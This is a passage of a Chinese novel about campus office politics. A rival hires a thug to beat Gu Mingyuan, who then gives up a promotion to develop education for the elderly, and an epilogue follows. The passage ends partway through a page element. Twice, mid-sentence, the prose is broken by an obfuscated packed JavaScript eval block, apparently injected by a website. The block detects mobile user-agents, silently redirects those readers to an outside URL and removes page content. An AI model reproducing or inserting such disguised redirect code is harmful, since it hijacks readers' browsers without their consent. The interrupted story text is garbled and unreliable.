看见桂先锋脸色铁青,后槽牙咬得“嘎嘣”作响,林书锦脸上满是义愤:“兄弟真替你老兄不平啊。那家伙这些年靠着吴若甫的老脸吃了多少好处呀,现在又暗中运作要夺走你桂主任的位子。换作是我,非得去上面将他告得个底朝天。我就不相信他在基建处么多年,屁股会是干净的。” 桂先锋翻书的手猛地僵住。林书锦拱火的种子已悄然点燃了他胸腔里愤怒的干柴。林书锦走后,已经将戈、张的恨意全数转移到顾明远身上的他,已经厌倦了无休止写信举报的方式,他决定用一种“硬核”方式来教训教训顾明远。几天后,干装修的弟弟传来了消息:已经找到一个可靠的人,酬金是两千元。真到了实施的时候,桂先锋有些害怕起来,在亲自面试了“打手”后,一个劲地叮嘱“点到为止,万不可伤到要害”。 顾明远有一个习惯:喜欢猫在办公室里到很晚。这是一个微雨夜晚,当顾明远离开办公室途经竹林时,忽然感觉到背后一个人影袭来,他本能地往左侧倾斜,身后那人却因心虚路滑,手中的棍子扫过他的胳膊,身体却滑倒在前面的鹅卵石径上。顾明远喝了一身,跨步上前准备探个究竟,那人迅疾从地上爬起,胡乱地挥舞着手中的棍棒,一路仓皇逃去。借着昏暗的路灯,顾明远发现那人腰间寒光一闪,迟疑了片刻,抬头再寻,那人已没了踪影。回到家里,这才发现左手臂上划了一个约两寸长的扣子,衣袖已被染红一片,不敢怠慢,赶紧来到校医院紧急包扎。 顾明远雨夜受袭的事情惊动了戈大垣。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904276|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特意来到基建处看望和慰问,更重要的是要一项重要的决定当面告知他。 这些年来,戈大垣一直在观察。从最初因吴若甫关系而起的淡淡疑虑,到基建处无数大小事务中的冷眼旁观。他见过顾明远在人情关口的寸步不让,也看过他在工程难题前的彻夜坚守。这份担当与自律,在戈大垣眼中逐渐沉淀为四个字:可造之材。 看着顾明远胳膊缠绕着厚厚的绷带,戈大垣关切地询问事情的经过和受伤的情况。顾明远不是一个矫情的人,不想让自己的遇袭被小题大做,便有意上下挥动了几下胳膊,意思是“这不比篮球比赛时的磕碰厉害多少”。 顾明远的轻描淡写让戈大垣很是满意,寒暄了几句后,他直接说出了准备让他出任办公室主任的决定。 戈大垣的话音落下,房间里安静得几乎能让两人听清彼此的心跳。戈大垣等待着预料中的激动和感谢,甚至勉励的话已经挂在了嘴边。 然而,顾明远只是微微抬了抬眼,脸上没有惊讶,更没有欣喜,而是一种与身份和年龄不相称的平静。过了片刻,他将目光望定戈大垣,声音淡然中透着力度:“戈书记,非常感谢您一直以来的信任和栽培。但这个决定,我恐怕不能接受。” 戈大垣脸上的热烈瞬间凝固,慢慢化为愕然。他像是没听清,身体不自觉地向前倾了倾,眉头蹙起:“你说什么?不能接受?” 顾明远的答复完全出乎意料,甚至让他感到一丝被冒犯的困惑。他审视着顾明远,等待着他清晰的回答。 “是,我不能接受。” 顾明远重复道,语气依旧平稳,却比刚才更显决绝。 戈大垣沉默了足足数秒,方才压下心头的震动,声音低沉中挟着愠怒:“为什么?给我一个理由。你知道多少人盯着这个位置吗?” 他目光如炬,紧紧锁住顾明远,似乎急着要看清这块自认为了解的美玉内部究竟藏着怎样的纹理。 顾明远似乎早有准备。他深吸一口气,将心中酝酿两年多的计划和盘托出,声音清晰坚定:“戈书记,这不是逃避,而是深思熟虑后的选择。据我了解,学校继教学院的院长已经空缺了半年多。如果组织信任,我请求调往继续教育学院工作。” 原本以为顾明远一心想回归历史学院,没想到他突然冒出这些年没有存在感且人人避之犹恐不及的继教学院。还没有从刚才震惊中回过神来的戈大垣罕见地有些失态,茫然中再次问了个“为什么”,只是语气再也没有刚才的凌厉。 已经横下一条心的顾明远开始滔滔不绝地端出自己这些年来的研究成果,从人口老龄化的紧迫性到老年教育的可行性,恣意汪洋、一泻千里。直听得戈大垣目瞪口呆,半天才犹疑地冒出一句“你是想通过继教院这个平台来实践老年教育”这个疑问来,继而像是自问自答:“你这个想法是不是有点理想化啊?” 顾明远用力摇了摇头,将自己从哪些发达省份搜集的老年教育案例罗列出来,加重语气说道:“戈书记,以我国人口老龄化的趋势,老年教育一定会蕴含着巨大的社会价值和发展潜力。如果我们楚江大学能率先布局,抢占先机,未来至少能成为这一领域排头兵甚至主力军。这些年来,学校继续教育学院单纯以创收为目的,严重偏离了‘继续’二字的真正内涵。还不如及时转向,从经济利益驱动转向社会责任,真正履行高校‘社会服务’的职能。如果书记信任,我愿意在继续教育这个舞台上去做点有意义的探索,说不定能为学校打造出一张教育新名片的。” 戈大垣指尖的烟灰无声掉落。顾明远的话着实让他这个见多识广的老江湖心头一颤。无论如何,他没想到眼前这个年轻人竟有如此超出常规、不同凡响的洞见。那些只在文件中看到的人口老龄化、老年教育、社会治理的词汇,竟然在顾明远的嘴里都成了可以具象的生动而鲜活的音符。震撼之余,惯性思维让他还是忍不住轻声问道:“你想过没有?继续教育学院在学校地位比较……你清楚吧?你去了那里,对今后个人发展……影响可是不小的。” 顾明远没有片刻犹豫,眉梢一挑,声音朗然:“戈书记,请恕我直言。一个部门的地位,不在于它离权力核心的远近,而在于它是否真正创造了价值。与其在象牙塔里汲汲营营于个人功名,不如做一棵扎根大地能够撑起一片绿荫的树。其实吧,经过这些年的历练,我倒认为,人生在世,如果能干自己热爱且有益于人的事业,那比发表几篇论文、处理几份文件要有意义得多。” 他的话戛然而止。说者是前所未有的畅快,听者是前所未有的震动。看着眼前年轻人眼中闪烁的满是理想的光芒。一种久违的、对纯粹信念的感动涌上戈大垣心头:如果学校的每个干部、教师都有此境界胸怀,那些蝇营狗苟、尔虞我诈,何愁会甚嚣尘上呢? 在清晰洞察到顾明远的决心后,戈大垣将手中打火机“啪”地一声拍在桌面,当即做出决定:“好,经你这么一说,我若再要阻拦,倒显得目光短浅。给你三年时间,看你能不能在继续教育学院的舞台上干点名堂出来。” 目送着戈大垣远去的背影,顾明远静静站在门口。一股滚烫的、几乎要冲破胸腔的情绪,从心底最深处翻涌上来,不是兴奋,不是喜悦,而是一种近乎眩晕的失重般的自由。那些在规则与潜规则间小心权衡的忧虑,那层覆在心头的、名为“稳妥前途”的薄冰,在这一刻轰然碎裂,化作了窗外透进来的、雨后清冽的阳光。 他终于说出来了。不是抱怨,不是试探,而是清晰坚定地表达出自己那颗想要“跳出去” 的心——跳出这座令人羡慕的象牙塔,去风雨里,去众生野中,亲手开出一片新的天地来。他迫不及待地拿起手机。铃声响过,电话那头传来林思齐温柔而又娇俏的声音。当顾明远激动地说出结果时,林思齐在电话那头欢快地笑了起来:“总算心愿达成了。”声音像被雨水洗过般清亮,透着一股心灵相通的欣慰和骄傲。 76. 尾 声 暮色渐浓,槐香沉坠。顾明远合上那本毛了边的教材,将最后一位老人送至学堂门口。筋骨虽透着日间的疲乏,心底却漾着一泓清泉似的、扎实的安宁。 他立在老槐树下,目光仿佛穿透苍茫暮色,投向遥远的楚江大学。十八年光阴,曾尽数付与那座精致而逼仄的象牙塔。如今回望,那透明的囹圄,曾如何不动声色地消磨灵性,将鲜活的魂灵修剪成合规格的标本。挣脱出来,才觉天地原来这般辽阔——他成了荆楚长空下一只归林的鸟,翼下掠过的不再是论文与头衔的浮云,而是泥土扎实的芬芳:在乡村学堂的晨光里分发飘着墨香的新编读本,在江城社区敞亮的课堂内解说方寸屏幕后的广阔世界,在非遗展演的热闹中小心托起学员们蕴着岁月手泽的剪纸与蜡染……。 没有堂皇的宣言,理想竟在这样琐碎而真实的触碰中悄然落地,生根抽芽,被那些浑浊眼眸里重燃的好奇和沟壑纵横的脸上舒展的笑纹,滋养得郁郁葱葱。 最深的慰藉和最大的鼓舞,莫过于这跋涉并非独行。林思齐的身影,总在他一抬眼便能望见的地方出现。她的专业知识,如涓涓细流,无声渗入老人们干涸日常的缝隙,滋养出关乎健康与尊严的新的希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904277|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 肩头忽有细雪般的触碰。回转身时,林思齐不知何时已静立在身后。山风拂过,摇落一树槐花如雨。他自然而然地将她拥入怀中,下颌轻贴她的鬓发,那发间犹染着槐花的气息。他忍不住轻声说道:“鸟儿只有归了林,才知道什么是真正的飞翔啊。” 林思齐没有言语,只用丹凤眼的温柔投在他的脸上。 夜色温柔,灯光明暖。 前路依旧漫长,但前进的方向已然校准。春风岁岁,拂过山梁,白了槐花,绿了田畴。他们的故事,正在荆楚的天空中不断地裁剪出美丽的光影。